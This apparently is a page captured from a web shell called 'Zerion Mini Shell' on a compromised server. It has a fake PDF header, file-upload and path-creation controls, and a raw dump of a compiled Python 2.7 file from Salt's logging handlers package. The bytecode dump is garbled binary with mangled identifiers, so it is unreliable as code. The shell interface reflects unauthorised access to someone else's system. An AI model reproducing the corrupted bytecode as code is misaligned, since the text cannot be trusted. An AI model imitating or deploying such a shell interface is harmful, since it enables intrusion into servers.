%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/usr/lib/python2.7/site-packages/salt/log/handlers/
Upload File :
Create Path :
Current File : //proc/self/root/usr/lib/python2.7/site-packages/salt/log/handlers/__init__.pyc

�
���^c@@sdZddlmZmZmZddlZddlZddlZddlZddl	Zddl
mZmZddl
mZeje�Zejdkr�dejefd	��YZee_nd
ejfd��YZdeejefd
��YZdeejefd��YZdeejjefd��YZdeejjefd��YZejdkr�deejjefd��YZnejdkr�deejefd��YZnPejdkr�deejjfd��YZndeejjfd��YZdS( u|
    salt.log.handlers
    ~~~~~~~~~~~~~~~~~

    .. versionadded:: 0.17.0

    Custom logging handlers to be used in salt.
i(tabsolute_importtprint_functiontunicode_literalsN(tNewStyleClassMixIntExcInfoOnLogLevelFormatMixIn(tqueueiitNullHandlercB@s)eZdZd�Zd�Zd�ZRS(uA
        This is 1 to 1 copy of python's 2.7 NullHandler
        cC@sdS(N((tselftrecord((s>/usr/lib/python2.7/site-packages/salt/log/handlers/__init__.pythandle!scC@sdS(N((RR((s>/usr/lib/python2.7/site-packages/salt/log/handlers/__init__.pytemit$scC@s
d|_dS(N(tNonetlock(R((s>/usr/lib/python2.7/site-packages/salt/log/handlers/__init__.pyt
createLock's(t__name__t
__module__t__doc__R	R
R
(((s>/usr/lib/python2.7/site-packages/salt/log/handlers/__init__.pyRs		tTemporaryLoggingHandlercB@s5eZdZejdd�Zd�Zdd�ZRS(u
    This logging handler will store all the log records up to its maximum
    queue size at which stage the first messages stored will be dropped.

    Should only be used as a temporary logging handler, while the logging
    system is not fully configured.

    Once configured, pass any logging handlers that should have received the
    initial log messages to the function
    :func:`TemporaryLoggingHandler.sync_with_handlers` and all stored log
    records will be dispatched to the provided handlers.

    .. versionadded:: 0.17.0
    i'cC@s/||_tt|�jd|�g|_dS(Ntlevel(t(_TemporaryLoggingHandler__max_queue_sizetsuperRt__init__t"_TemporaryLoggingHandler__messages(RRtmax_queue_size((s>/usr/lib/python2.7/site-packages/salt/log/handlers/__init__.pyR=s	cC@sS|j�t|j�|jkr5|jjd�n|jj|�|j�dS(Ni(tacquiretlenRRtpoptappendtrelease(RR((s>/usr/lib/python2.7/site-packages/salt/log/handlers/__init__.pyR	Bs

cC@sf|s
dSxU|jra|jjd�}x3|D]+}|j|jkrMq/n|j|�q/Wq
WdS(uK
        Sync the stored log records to the provided log handlers.
        Ni(RRRtlevelnoR	(RthandlersRthandler((s>/usr/lib/python2.7/site-packages/salt/log/handlers/__init__.pytsync_with_handlersJs
((RRRtloggingtNOTSETRR	R (((s>/usr/lib/python2.7/site-packages/salt/log/handlers/__init__.pyR-s	t
StreamHandlercB@seZdZRS(uO
    Stream handler which properly handles exc_info on a per handler basis
    (RRR(((s>/usr/lib/python2.7/site-packages/salt/log/handlers/__init__.pyR#[stFileHandlercB@seZdZRS(uM
    File handler which properly handles exc_info on a per handler basis
    (RRR(((s>/usr/lib/python2.7/site-packages/salt/log/handlers/__init__.pyR$ast
SysLogHandlercB@seZdZd�ZRS(uO
    Syslog handler which properly handles exc_info on a per handler basis
    cC@s�t}tjr^tjdkr^tj�\}}}|jdkr^tjjd�t}q^n|s}tt	|�j
|�ndS(u�
        Override the default error handling mechanism for py3
        Deal with syslog os errors when the log file does not exist
        iiiuFileNotFoundErroruc[WARNING ] The log_file does not exist. Logging not setup correctly or syslog service not started.
N(iii(tFalsetsyststderrtversion_infotexc_infoRtwritetTrueRR%thandleError(RRthandledtttvttb((s>/usr/lib/python2.7/site-packages/salt/log/handlers/__init__.pyR-ks(RRRR-(((s>/usr/lib/python2.7/site-packages/salt/log/handlers/__init__.pyR%gstRotatingFileHandlercB@seZdZd�ZRS(uV
    Rotating file handler which properly handles exc_info on a per handler basis
    cC@s�t}tjjd�r�tjr�tjr�tj�\}}}z\|jdkr�|j	dkr�|j
tjkr�tjjdj
|j��nt}nWd~~~Xn|s�tt|�j|�ndS(u�
        Override the default error handling mechanism

        Deal with log file rotation errors due to log file in use
        more softly.
        uwinuPermissionErroruOSErrori uD[WARNING ] Unable to rotate the log file "{0}" because it is in use
N(uPermissionErroruOSError(R&R'tplatformt
startswithR!traiseExceptionsR(R*RtwinerrorRtWARNINGR+tformattbaseFilenameR,RR2R-(RRR.texc_typetexct
exc_traceback((s>/usr/lib/python2.7/site-packages/salt/log/handlers/__init__.pyR-s		

(RRRR-(((s>/usr/lib/python2.7/site-packages/salt/log/handlers/__init__.pyR2{sitWatchedFileHandlercB@seZdZRS(u]
        Watched file handler which properly handles exc_info on a per handler basis
        (RRR(((s>/usr/lib/python2.7/site-packages/salt/log/handlers/__init__.pyR=�sitQueueHandlercB@s2eZdZd�Zd�Zd�Zd�ZRS(u�
        This handler sends events to a queue. Typically, it would be used together
        with a multiprocessing Queue to centralise logging to file in one process
        (in a multi-process application), so as to avoid file write contention
        between processes.

        This code is new in Python 3.2, but this class can be copy pasted into
        user code for use with earlier Python versions.
        cC@stjj|�||_dS(uI
            Initialise an instance, using the passed queue.
            N(R!tHandlerRR(RR((s>/usr/lib/python2.7/site-packages/salt/log/handlers/__init__.pyR�scC@sHy|jj|�Wn-tjk
rCtjjdj|��nXdS(u�
            Enqueue a record.

            The base implementation uses put_nowait. You may want to override
            this method if you want to use blocking, timeouts or custom queue
            implementations.
            u>[WARNING ] Message queue is full, unable to write "{0}" to logN(Rt
put_nowaittFullR'R(R+R8(RR((s>/usr/lib/python2.7/site-packages/salt/log/handlers/__init__.pytenqueue�s
cC@sO|j|�}tj|�}||_||_d|_d|_d|_|S(u�
            Prepares a record for queuing. The object returned by this method is
            enqueued.
            The base implementation formats the record to merge the message
            and arguments, and removes unpickleable items from the record
            in-place.
            You might want to override this method if you want to convert
            the record to a dict or JSON string, or send a modified copy
            of the record while leaving the original intact.
            N(R8tcopytmessagetmsgRtargsR*texc_text(RRRE((s>/usr/lib/python2.7/site-packages/salt/log/handlers/__init__.pytprepare�s					cC@s?y|j|j|��Wntk
r:|j|�nXdS(uy
            Emit a record.

            Writes the LogRecord to the queue, preparing it for pickling first.
            N(RBRHt	ExceptionR-(RR((s>/usr/lib/python2.7/site-packages/salt/log/handlers/__init__.pyR
�s
(RRRRRBRHR
(((s>/usr/lib/python2.7/site-packages/salt/log/handlers/__init__.pyR>�s
				cB@seZd�Zd�ZRS(cC@sHy|jj|�Wn-tjk
rCtjjdj|��nXdS(u�
            Enqueue a record.

            The base implementation uses put_nowait. You may want to override
            this method if you want to use blocking, timeouts or custom queue
            implementations.
            u>[WARNING ] Message queue is full, unable to write "{0}" to logN(RR@RAR'R(R+R8(RR((s>/usr/lib/python2.7/site-packages/salt/log/handlers/__init__.pyRB�s
cC@sO|j|�}tj|�}||_||_d|_d|_d|_|S(u�
            Prepares a record for queuing. The object returned by this method is
            enqueued.
            The base implementation formats the record to merge the message
            and arguments, and removes unpickleable items from the record
            in-place.
            You might want to override this method if you want to convert
            the record to a dict or JSON string, or send a modified copy
            of the record while leaving the original intact.
            N(R8RCRDRERRFR*RG(RRRE((s>/usr/lib/python2.7/site-packages/salt/log/handlers/__init__.pyRH�s					(RRRBRH(((s>/usr/lib/python2.7/site-packages/salt/log/handlers/__init__.pyR>�s	cB@seZd�ZRS(cC@sHy|jj|�Wn-tjk
rCtjjdj|��nXdS(u�
            Enqueue a record.

            The base implementation uses put_nowait. You may want to override
            this method if you want to use blocking, timeouts or custom queue
            implementations.
            u>[WARNING ] Message queue is full, unable to write "{0}" to logN(RR@RAR'R(R+R8(RR((s>/usr/lib/python2.7/site-packages/salt/log/handlers/__init__.pyRBs
(RRRB(((s>/usr/lib/python2.7/site-packages/salt/log/handlers/__init__.pyR>s(ii(ii(ii(ii(Rt
__future__RRRR'RCR!t	threadingtlogging.handlerstsalt.log.mixinsRRtsalt.ext.six.movesRt	getLoggerRtlogR)R?RRR#R$RR%R2R=R>(((s>/usr/lib/python2.7/site-packages/salt/log/handlers/__init__.pyt<module>	s0
.""$%"E"+

Zerion Mini Shell 1.0